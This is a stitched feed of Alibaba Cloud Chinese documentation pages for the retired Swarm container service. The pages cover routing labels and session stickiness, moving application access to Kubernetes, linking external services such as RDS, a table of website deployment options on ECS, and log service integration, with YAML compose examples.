            3. 选择目标应用所在的集群。
            4. 选择目标应用(本示例中为 wordpress)并单击变更配置


            5. 在模板编辑器中,添加routing 标签,定义相应的域名或者域名前缀。注意升级应用的版本,以及确定是否拉取最新的 Docker 镜像,最后单击确定更新域名,如下图所示。


            6. 您也可以在路由列表下访问路由地址,进入 wordpress 应用欢迎页。


            通过客户端工具进行设置

            上一篇:概述

            下一篇:简单路由-域名配置

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            routing_服务编排_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 routing

            更新时间:2018-10-17 17:13:00

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            设置该服务的访问域名。

            格式:

            aliyun.routing.port_$container_port: [http://]$domain|$domain_prefix[:$context_path]

            名词解释:

            • $container_port: 容器端口,注意 该处不是主机的端口。
            • $domain: 域名,需要用户填写自己的域名。
            • $domain_prefix: 域名前缀,如果填写域名前缀,容器服务会提供给您一个测试用的域名,域名后缀是.<cluster_id>.<region_id>.alicontainer.com
            • $context_path: 请求的服务路径,即可以根据请求的路径来选择区分不同的服务。

            绑定域名的选择:

            • 如果使用 HTTP 协议暴露服务,可以使用容器服务提供内部域名(顶级域为 alicontainer.com),供您测试使用,也可以使用您提供的域名。
            • 如果使用 HTTPS 协议,那么仅支持配置您提供的域名,例如 www.example.com。您需要修改 DNS 设置将域名指定到容器集群提供的负载均衡服务上。

            标签声明的格式要求:

            • 容器服务为每一个集群分配了子域名,绑定内部域名只需要给出域名的前缀,域名前缀仅表示域名的一级,不能使用点号(.)进行分隔。
            • 如果您不指定 scheme,则默认使用 HTTP 协议。
            • 域名的长度不能超过 128 个字符,context root 的长度不能超过 128 个字符。
            • 绑定多个域名到服务时,域名之间用分号(;)隔开。
            • 一个后端服务可以有多个端口,该端口指的是容器暴露的端口,一个端口只能使用一条 label 进行声明,带有多个端口的服务需要声明多个 label。

            示例:

            使用 routing 标签。

            将容器服务提供的内部域名 wordpress.<cluster_id>.<region_id>.alicontainer.com 绑定到 Web 服务的 80 端口,并且将您提供的自有域名 http://wp.sample.com/context 绑定到 Web 服务的 80 端口。

            web:
              image: wordpress:4.2
              links:
                - db:mysql
              labels:
                aliyun.routing.port_80: wordpress;http://wp.sample.com/context
            db:
              image: mysql
              environment:
                - MYSQL_ROOT_PASSWORD=password

            最终您得到的内部域名为 wordpress.cd3dfe269056e4543acbec5e19b01c074.cn-beijing.alicontainer.com

            Web 服务运行之后,您可以通过 http://wordpress.cd3dfe269056e4543acbec5e19b01c074.cn-beijing.alicontainer.com 或者 http://wp.sample.com/context 访问相应的 Web 服务。

            如果您需要支持 HTTPS 服务,需要自行通过阿里云官网负载均衡管理控制台上传 HTTPS 证书,并绑定相应的集群对外访问负载均衡端点。

            routing.session_sticky

            设置 routing 在做请求路由的时候,是否保持 session sticky,即会话保持。其效果是,在某个会话时间内,请求一直路由到同一个后端的容器,而不是每次请求都随机路由到不同的容器。

            说明

            • 只有当您已经设置了 aliyun.routing.port_$container_port 时,该设置才能起作用。
            • 简单路由会话保持基于Cookie机制,默认Cookie最大过期时间8h,空闲过期时间30m。
            • 简单路由默认已开启会话保持机制。

            其设置方法如下:

            • 开启会话保持

              aliyun.routing.session_sticky: true

            • 关闭会话保持

              aliyun.routing.session_sticky: false

            模板编排文件示例:

            web:
              image: wordpress:4.2
              links:
                - db:mysql
              labels:
                aliyun.routing.port_80: wordpress;http://wp.sample.com/context
                aliyun.routing.session_sticky: true
            db:
              image: mysql
              environment:
                - MYSQL_ROOT_PASSWORD=password

            上一篇:scale

            下一篇:lb

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            应用访问比对_容器服务swarm集群与Kubernetes集群的主要功能比对_Swarm迁移Kubernetes_最佳实践_容器服务Kubernetes版-阿里云 Fri, 02 May 2025 09:39:04 +0800 应用访问比对

            更新时间:2020-03-02 10:13:32

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            本文介绍容器服务Swarm集群与Kubernetes集群的应用访问比对,包括集群内部应用间访问及从集群外部访问应用。

            集群内部应用间访问

            容器服务Swarm集群

            集群内部可以通过links标签,将需要被访问的服务名称设置到容器的环境变量中。

            例如:使用yaml文件创建应用比对中,wordpress应用的web服务与mysql关联,在容器启动后,通过mysql这个服务名称即可完成服务的访问。

            links:            #---7
                - 'db:mysql'

            容器服务Kubernetes集群

            在容器服务Kubernetes集群内部,可通过Service的ClusterIP或服务名称进行应用间访问。推荐使用服务名称进行应用间的访问。

            在创建应用时,可以将需要被访问服务的服务名称以环境变量的方式使用。

            例如:使用yaml文件创建应用比对中,wordpress在调用mysql服务时,就是通过环境变量的方式实现。

            spec:    
                  containers:    
                  - image: wordpress:4   
                    name: wordpress
                    env:    
                    - name: WORDPRESS_DB_HOST
                      value: wordpress-mysql    #---7 通过名称指向需要访问的mysql,该名称与mysql service的名称相对应。
                    - name: WORDPRESS_DB_PASSWORD    

            从集群外部访问应用

            通过域名访问应用

            说明

            • 无论经典网络还是VPC,请确保网络的连通。
            • DNS具有负载均衡的能力,可将流量分发到不同的后端IP。
            • 通过域名作为应用的访问入口,可以不停机地将业务从Swarm集群迁移到Kubernetes集群。

            简单路由(域名绑定到容器服务Swarm集群默认的SLB上)

            为实现应用从容器服务Swarm集群迁移到Kubernetes集群,需要先在容器服务Kubernetes集群上创建应用,测试可用后,再进行应用迁移。

            简单路由

            迁移方法

            • 在容器服务Kubernetes集群上通过以下步骤创建应用
              • 在容器服务Kubernetes集群上创建与Swarm集群相同类型的应用。
              • 在容器服务Kubernetes集群上为应用创建Loadbalancer类型的服务(Service)。
              • Loadbalancer类型的服务会创建SLB,在本例中为2.2.2.2。
              • 在DNS中test.com域名的后端IP增加2.2.2.2这个IP地址。
            • 验证Kubernetes集群的应用可用

              通过IP地址2.2.2.2可以正常访问应用,说明容器服务Kubernetes集群上的应用可用。

            • 应用迁移

              将DNS中test.com域名的后端IP地址1.1.1.1删除。

            后续流量经过DNS后全部流向Kubernetes集群上的应用。

            简单路由(域名绑定到应用在容器服务Swarm集群上自建的SLB)

            域名绑定到容器服务Swarm集群上自建的SLB与绑定到默认的SLB的区别是:

            • SLB不是集群默认的,而是自建的。
            • DNS默认为云解析DNS,如果用户使用自己的域名,需要自行解析。

            迁移方法

            与域名绑定到容器服务Swarm集群默认的SLB的方法相同:在容器服务Kubernetes集群上创建应用,测试可用后,再进行应用迁移。

            迁移方法

            通过<HostIP>:<port>访问应用

            如果您通过<HostIP>:<port>的方式访问应用,那么在原容器服务Swarm集群的基础上无法做到不停机迁移业务,请选择业务量小的时候进行业务的迁移。

            迁移方法

            1. 在容器服务Kubernetes集群上创建应用,并通过NodePort类型的服务完成应用对外访问方式的暴露,请参考使用镜像创建应用-网络配置比对
            2. 记录该<NodePort>,将Swarm集群的<port>替换为Kubernetes集群的<NodePort>。

              说明 此步骤需要逐个停止并修改应用实例。

            3. 将Kubernetes集群内的worker节点,挂载到Swarm集群的SLB下。
            4. 当有流量时,会有部分流量进入Kubernetes集群的应用,待Kubernetes集群的应用验证可用后,将SLB中Swarm集群的节点删除,完成集群的迁移。

            通过负载均衡访问应用

            如果您通过负载均衡的方式访问应用,那么在原容器服务Swarm集群的基础上无法做到不停机迁移业务,请选择业务量小的时候进行业务的迁移。

            迁移方法

            容器Kubernetes集群LoadBalancer的使用方法与容器服务Swarm的负载均衡一样,请参考使用镜像创建应用-网络配置比对

            上一篇:日志及监控比对

            下一篇:迁移方案概述

            相关文档

            相关产品

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            应用访问比对_容器服务swarm集群与Kubernetes集群的主要功能比对_最佳实践_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 应用访问比对

            更新时间:2019-08-15 13:48:20

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            本文介绍容器服务Swarm集群与Kubernetes集群的应用访问比对,包括集群内部应用间访问及从集群外部访问应用。

            集群内部应用间访问

            容器服务Swarm集群

            集群内部可以通过links标签,将需要被访问的服务名称设置到容器的环境变量中。

            例如:使用yaml文件创建应用比对中,wordpress应用的web服务与mysql关联,在容器启动后,通过mysql这个服务名称即可完成服务的访问。

            links:            #---7
                - 'db:mysql'

            容器服务Kubernetes集群

            在容器服务Kubernetes集群内部,可通过Service的ClusterIP或服务名称进行应用间访问。推荐使用服务名称进行应用间的访问。

            在创建应用时,可以将需要被访问服务的服务名称以环境变量的方式使用。

            例如:使用yaml文件创建应用比对中,wordpress在调用mysql服务时,就是通过环境变量的方式实现。

            spec:    
                  containers:    
                  - image: wordpress:4   
                    name: wordpress
                    env:    
                    - name: WORDPRESS_DB_HOST
                      value: wordpress-mysql    #---7 通过名称指向需要访问的mysql,该名称与mysql service的名称相对应。
                    - name: WORDPRESS_DB_PASSWORD    

            从集群外部访问应用

            通过域名访问应用

            说明

            • 无论经典网络还是VPC,请确保网络的连通。
            • DNS具有负载均衡的能力,可将流量分发到不同的后端IP。
            • 通过域名作为应用的访问入口,可以不停机地将业务从Swarm集群迁移到Kubernetes集群。

            简单路由(域名绑定到容器服务Swarm集群默认的SLB上)

            为实现应用从容器服务Swarm集群迁移到Kubernetes集群,需要先在容器服务Kubernetes集群上创建应用,测试可用后,再进行应用迁移。



            迁移方法

            • 在容器服务Kubernetes集群上通过以下步骤创建应用

              • 在容器服务Kubernetes集群上创建与Swarm集群相同类型的应用。
              • 在容器服务Kubernetes集群上为应用创建Loadbalancer类型的服务(Service)。
              • Loadbalancer类型的服务会创建SLB,在本例中为2.2.2.2。
              • 在DNS中test.com域名的后端IP增加2.2.2.2这个IP地址。

            • 验证Kubernetes集群的应用可用

              通过IP地址2.2.2.2可以正常访问应用,说明容器服务Kubernetes集群上的应用可用。

            • 应用迁移

              将DNS中test.com域名的后端IP地址1.1.1.1删除。

            后续流量经过DNS后全部流向Kubernetes集群上的应用。

            简单路由(域名绑定到应用在容器服务Swarm集群上自建的SLB)

            域名绑定到容器服务Swarm集群上自建的SLB与绑定到默认的SLB的区别是:

            • SLB不是集群默认的,而是自建的。
            • DNS默认为云解析DNS,如果用户使用自己的域名,需要自行解析。

            迁移方法

            与域名绑定到容器服务Swarm集群默认的SLB的方法相同:在容器服务Kubernetes集群上创建应用,测试可用后,再进行应用迁移。



            通过<HostIP>:<port>访问应用

            如果您通过<HostIP>:<port>的方式访问应用,那么在原容器服务Swarm集群的基础上无法做到不停机迁移业务,请选择业务量小的时候进行业务的迁移。

            迁移方法

            1. 在容器服务Kubernetes集群上创建应用,并通过NodePort类型的服务完成应用对外访问方式的暴露,请参考端口映射
            2. 记录该<NodePort>,将Swarm集群的<port>替换为Kubernetes集群的<NodePort>。

              说明 此步骤需要逐个停止并修改应用实例。

            3. 将Kubernetes集群内的worker节点,挂载到Swarm集群的SLB下。
            4. 当有流量时,会有部分流量进入Kubernetes集群的应用,待Kubernetes集群的应用验证可用后,将SLB中Swarm集群的节点删除,完成集群的迁移。

            通过负载均衡访问应用

            如果您通过负载均衡的方式访问应用,那么在原容器服务Swarm集群的基础上无法做到不停机迁移业务,请选择业务量小的时候进行业务的迁移。

            迁移方法

            容器Kubernetes集群LoadBalancer的使用方法与容器服务Swarm的负载均衡一样,请参考负载均衡路由配置

            上一篇:日志及监控比对

            下一篇:在阿里云容器服务上运行基于 TensorFlow 的 Alexnet

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            external_服务编排_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 external

            更新时间:2019-01-23 00:37:35

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            设置该服务直接链接到外部地址。

            扩展字段下有以下字段可以使用:

            • host:设置链接的域名。
            • ports:设置链接的端口。

            示例:

            不使用 external,直接启动一个 MySQL 容器。

            web:
              image: wordpress:4.2
              ports:
                - 80
              links:
                - db:mysql
            db:
              image: 10.32.161.160:5000/mysql
              environment:
                - MYSQL_ROOT_PASSWORD=password

            通过 external,描述一个并没有部署在集群中的 RDS 服务,并提供给部署在集群中的 WordPress 使用。

            wordpress:
              image: wordpress:4.2
              ports:
                - 80
              links:
                - db:mysql
              environment:
                - WORDPRESS_DB_USER=cloud
                - WORDPRESS_DB_PASSWORD=MYPASSWORD
                - WORDPRESS_DB_NAME=wordpress
            db:
              external:
                host: rdsxxxx.mysql.rds.aliyuncs.com
                ports:
                  - 3306

            上一篇:服务部署约束(affinity:service)

            下一篇:dns_options

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            自助建站方式汇总_建站教程_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 自助建站方式汇总

            更新时间:2020-02-14 15:36:48

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            本文汇总了各类型网站的部署方式,便于您自助搭建网站。

            网站类型 部署方式 说明
            WordPress WordPress是一款常用的搭建个人博客网站的软件。您可以使用WordPress架设自己的网站,也可以搭建内容管理系统CMS(Content Management System)。

            使用镜像或资源编排服务ROS(Resource Orchestration Service)模板部署WordPress解决了空间和程序的问题,降低了建站的门槛,即买即用。ROS通过一个JSON格式的模板文件,创建一组阿里云资源。您也可以手动搭建WordPress。

            LNMP 环境 LNMP分别代表Linux、Nginx、MySQL和PHP。使用镜像和资源编排服务ROS模板可以帮您省时省力地部署LNMP环境。如果您熟悉Linux操作系统,希望满足个性化部署的要求,您也可以选择手动部署。
            Java Web环境 镜像部署

            Tomcat是开源且免费的Java Web服务器,常用作Web开发工具,可以托管由Servlet、JSP 页面(动态内容)、HTML 页面、JS、Stylesheet、图片(静态内容)组成的Java Web应用程序。

            适合新手,利用云市场丰富的JAVA 镜像资源快捷部署环境。

            手动部署Java Web环境 如果您熟悉Linux命令,可以在ECS上个性化地部署Java web项目。
            插件部署 Alibaba Cloud Toolkit for Eclipse,简称Cloud Toolkit,是一款免费的IDE插件。当您在本地完成应用程序的开发、调试及测试后,即可通过该插件轻松将应用程序部署到ECS实例。
            Node.js(CentOS) 手动部署

            Node.js是一个基于Chrome V8引擎的JavaScript运行环境,用来方便、快速地搭建易于扩展的网络应用。

            Node.js使用了一个事件驱动、非阻塞式I/O的模型,轻量又高效,非常适合在分布式设备运行的数据密集型实时应用。Node.js的包管理器npm,是全球最大的开源库生态系统。

            Magento电子商务网站 手动部署 Magento是一款开源电商网站框架,其丰富的模块化架构体系及拓展功能可为大中型站点提供解决方案。
            Web环境(Windows) 镜像部署 使用阿里云镜像,您可以在Windows操作系统中一键部署Web环境,包括安装IIS 组件(不包括FTP组件)、PHP环境、重定向Rewrite、MySQL和PHPWind。
            ThinkPHP框架 镜像部署 ThinkPHP是一款免费、开源、快速、简单、面向对象的轻量级PHP开发框架,遵循Apache2开源协议,为了敏捷Web应用开发和简化企业应用开发而诞生。
            PHPWind论坛 镜像部署 PHPWind是一款采用PHP+MySQL方式运行的开源社区程序,轻架构、高效率、简易开发,能够实现快速搭建并轻松管理社区站点的功能。
            GitLab 镜像部署和手动部署 GitLab通过Ruby on Rails,实现自托管的Git项目仓库,可通过Web界面轻松访问公开或者私人项目。
            使用AMH搭建PHP环境 镜像和手动部署 AMH是一套通过Web控制和管理服务器的Linux服务器管理系统以及虚拟主机管理系统。
            Microsoft SharePoint 2016 手动部署 Microsoft SharePoint是Microsoft SharePoint Portal Server的简称。SharePoint Portal Server是一个门户站点,使得企业能够开发出智能的门户站点,该站点能够无缝连接到团队和知识,使人们能够更好地利用业务流程中的相关信息,更有效地开展工作。
            Drupal内容管理框架 镜像部署 Drupal是一款采用PHP语言编写的开源内容管理框架(CMF),由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。

            如果您熟悉ECS、 Linux系统,刚开始使用ECS实例建站,可以使用镜像快速搭建Drupal环境。

            Docker(CentOS7) 手动部署 Docker是一个开源工具,能将一个Web应用封装在一个轻量级、便携且独立的容器里,几乎可以运行在任何服务环境下。

            适用于熟悉Linux系统,刚开始使用ECS实例的开发者。

            LAMP 环境 手动部署 LAMP指Linux、Apache、MySQL和PHP,是一组常用来搭建动态网站或者服务器的开源软件。它们本身都是各自独立的程序,但是因为常被放在一起使用,拥有了越来越高的兼容度,共同组成了一个强大的Web应用程序平台。
            常用数据库(Oracle、MySQL和SQL Server) 镜像和手动部署 使用阿里云镜像,您可以方便、快捷地部署Oracle、MySQL、SQL Server等常用数据库。如果您熟悉ECS和数据库,也可以手动部署数据库。
            WDlinux Control Panel(WDCP) 镜像部署 WDCP(WDlinux Control Panel)是一套通过Web控制和管理服务器的Linux服务器管理系统以及虚拟主机管理系统。
            RabbitMQ 手动部署 RabbitMQ是AMQP的一个开源实现,支持:Python、Ruby、.NET、Java、JMS、C、PHP、ActionScript、XMPP、STOMP、AJAX等多种客户端。

            用于在分布式系统中存储转发消息,具有较好的易用性、扩展性和高可用性。

            PostgreSQL主从架构 手动部署 阿里云版数据库PostgreSQL具有NoSQL兼容、高效查询、插件化管理、安全稳定的特性。

            如果您熟悉ECS、Linux系统、PostgreSQL,可以手动部署PostgreSQL主从架构。

            Subversion(SVN)版本控制系统 手动部署 SVN (Subversion)作为一个开源的版本控制系統,能管理随时间改变的数据。
            Joomla基础管理平台 镜像部署 Joomla是一套知名的内容管理系统,采用PHP加MySQL的方式开发软件系统。
            Ghost博客(CentOS 7) 手动部署 Ghost是一个免费的开源博客平台,使用JavaScript编写,基于Node.js,旨在简化个人博客和在线出版物的在线发布过程。此外,将来随着业务的扩展,您可以利用阿里云强大的产品平台,平滑地横向和纵向扩展服务容量。
            Moodle课程管理系统 镜像部署 Moodle是一个开源课程管理系统,采用PHP加MySQL的方式运行软件,遵循GNU公共许可协议。

            Moodle平台界面简单精巧,您可以根据需要随时调整界面、增减内容。

            FTP站点 手动部署(Windows) 在Windows操作系统下搭建FTP服务器(File Transfer Protocol Server)以提供文件存储和访问服务。
            手动部署(Linux) 在ECS实例上安装vsftpd,它是Linux下的一款小巧轻快、安全易用的FTP服务器软件。

            上一篇:建站零基础入门

            下一篇:更换镜像部署Windows环境

            相关文档

            相关产品

            • 云服务器 ECS

              云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

            • 专有网络 VPC

              专有网络VPC(Virtual Private Cloud)是用户基于阿里云创建的自定义私有网络, 不同的专有网络之间二层逻辑隔离,用户可以在自己创建的专有网络内创建和管理云产品实例,比如ECS、负载均衡、RDS等。

            • 弹性公网 IP

              弹性公网IP(Elastic IP Address,简称EIP),是可以独立购买和持有的公网IP地址资源。EIP可绑定到专有网络类型的ECS实例、专有网络类型的私网SLB实例和NAT网关上。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            集成日志服务_日志管理_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 集成日志服务

            更新时间:2019-04-23 10:09:07

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            日志服务(Log Service,简称Log)是针对日志场景的平台化服务。无需开发就可以快速完成日志收集、分发、投递与查询, 适用于日志中转、监控、性能诊断、日志分析、审计等场景。容器服务提供了集成日志服务的能力,可以方便地将应用日志发送到日志服务里。

            Note 在集群管理页,只要单击 开启日志服务 > 确定,日志服务成功开启之后,通过内置的 RAM 账户,会为每个自动创建的 Logstore 创建日志索引,由于阿里云日志服务已经开始收费,因此启用本功能之后,按照下面的方式进行配置,将会产生计费,收费标准参见按量付费。请务必了解您的日志量,以免产生大量非预期的费用。

            开启日志服务

            1. 登录 容器服务管理控制台
            2. 在 Swarm 菜单下,单击左侧导航栏中的集群
            3. 选择目标集群并单击管理


            4. 单击页面右上角的开启日志服务


            5. 在弹出的确认对话框中,单击确定

              开通容器服务的日志服务之前,您需要先开通阿里云访问控制(RAM)和阿里云日志服务。如果您还未开通,请单击 去开通开通访问控制(RAM)和阿里云日志服务。



            查看 acslogging 服务安装结果

            第一次启用日志服务时,容器服务会在您的机器安装日志服务所需的 Agent。您可以在应用列表中找到该应用。安装成功后,您就可以使用日志服务了。

            1. 登录 容器服务管理控制台
            2. 单击左侧导航栏中的应用
            3. 选择目标集群并取消勾选隐藏系统应用

              可以看到 acslogging 应用已安装成功。



            同时,系统会在阿里云日志服务上创建一个对应的 project,您可以在日志服务管理控制台上进行查看。project 的名字里包含了容器服务集群的 ID。



            在编排文件里使用日志服务

            大多数的 Docker 应用会直接将日志写到 Stdout,现在您依然可以这样做(对于日志写到文件的场景,可以参考下边的使用文件日志)。在开通日志管理功能后,Stdout 的日志可以自动收集并且发送到阿里云日志服务。

            下面的例子创建了一个 WordPress 应用。该应用包含 WordPress 和 MySQL 两个服务,日志会收集到阿里云日志服务。

            MySQL 和 WordPress

            mysql:
              image: mysql
              ports:
                  - 80
              labels:
                  aliyun.scale: "1"
              environment:
                  - MYSQL_ROOT_PASSWORD=password
            web:
              image: registry.aliyuncs.com/jiangjizhong/wordpress
              ports:
                 - 80
              labels:
                 aliyun.routing.port_80: wordpress-with-log
                 aliyun.log_store_dbstdout: stdout  # 采集stdout日志到dbstdout日志库中
                 aliyun.log_ttl_dbstdout: 30  # 设置dbstdout日志库日志数据保存30天
              links:
                  - mysql

            在上边的编排文件中

            • aliyun.log_store_dbstdout: stdout 表示将容器的标准写入 logstore acslog-wordpress-dbstdout里。这个标签的格式为 aliyun.log_store_{name}: {logpath}。其中:
              • name 为阿里云日志服务 logstore 的名字,实际创建的 logstore 的名字为acslog-${app}-${name}
              • app 为应用名称。
              • logpath为容器中日志的路径。
              • stdout 是一个特殊的 logpath,表示标准输出。
            • aliyun.log_ttl_<logstore_name> 标签用来设置日志库初始日志保存时间,单位为天,有效值为 1~365 天,不配置则默认初始化为 2 天。

              Note 这里设置的是初始配置值,如果后期您需要修改日志保存时间,需要到日志服务控制台进行设置。

            用上面的编排文件,您可以在容器服务管理控制台上创建一个名为 wordpress 的应用。在应用启动完成后,可以在阿里云日志管理控制台上找到 logstore acslog-wordpress-dbstdout,其中存储了 wordpress 的日志。

            在日志服务管理控制台上查看日志

            使用上面的编排文件部署应用之后,您可以在阿里云日志服务控制台查看收集到的日志。登录日志服务管理控制台,找到集群对应的日志服务 project,单击进入。您可以看到编排文件里使用的 logstore acs-wordpress-dbstdout



            日志索引列中单击 查询查看日志。



            使用文件日志

            如果您不希望日志直接写到 stdout 中,而需要将日志直接写到文件中,比如/var/log/app.log,可以进行如下配置。

            aliyun.log_store_name: /var/log/app.log

            其中name为 logstore 的名字,/var/log/app.log为容器内日志的路径。

            如果您需要输出多个日志文件到日志服务,可以进行如下配置将文件放在多个目录下。

            aliyun.log_store_s1: /data/logs/access/access.log
            aliyun.log_store_s2: /data/logs/error/error.log
            aliyun.log_store_s3: /data/logs/exception/*.log  #支持通配符

            Note 暂不支持多个logstore对应同一个日志目录。上面的例子中有 3 个 logstore s1、s2 和 s3,对应的日志文件必须在 3 个目录下。

